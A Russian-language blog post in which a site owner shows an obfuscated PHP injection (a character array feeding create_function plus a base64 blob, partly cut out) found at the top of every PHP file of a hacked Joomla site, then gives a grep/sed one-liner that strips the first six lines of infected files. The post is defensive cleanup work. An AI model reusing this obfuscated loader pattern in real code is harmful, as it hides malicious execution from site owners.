yandex

Вирусы на сайте #3

Author:

Продолжаем бесконечную историю.

Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаемых движков сервера баз данных MySQL.

Пришлось слить дамп, выполнить команду sed ‘s/InnoDB/MyISAM/g’ old.sql > new.sql и залить обратно =)

Сегодня наткнулся на такую прелесть:

<?php
$md5 = "abe69649a7dbde93d328df6049b55aea";
$wp_salt = array('(','t','v','d',"i","o",";","b",'4','n',"a","z",')',"c","f","6","r","g","l","e","$",'_','s');
$wp_add_filter = create_function('$'.'v',$wp_salt[19].$wp_salt[2].$
<часть кода убрана>
$wp_add_filter('FZfFrsZaroQfp89RBmHSHYWZ/+CkFWbmPP3dPVoza9lyub4qr3T4p/7aqRrSo/wnS/eSwP5blPlclP/8R0wKcdsz4/BDuf/o94ZeDeqY

<часть кода убрана>

PMGMDiRh5qWg6HLEf5riM6MQuC11VVIEqiIAh8IMX/599///2//wc=');
?>

Все, абсолютно все php-файлы сайта содержали в своем начале вышеуказанный код (с небольшими вариациями). Про старую версию Joomla и устаревшие расширения, кучу шеллов я рассказывать не буду. Суть не в этом =)

Как вариант, можно полечить следующей командой:

grep -lRZ wp_add_filter ./ | xargs sed -i-bak -e '1,6d'

С помощью первой половины (до “трубы”) получаем список файлов, содержаших строку, содержащую “слово” wp_add_filter. Просто уверен, что в Joomla подобной строки просто не найти. Вторая половина (после “трубы”) – удаляет строки с первой по шестую из файла, сохраняя исходный файл с расширением “-bak”.

Есть вопросы – с удовольствием выслушаю и постараюсь помочь.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *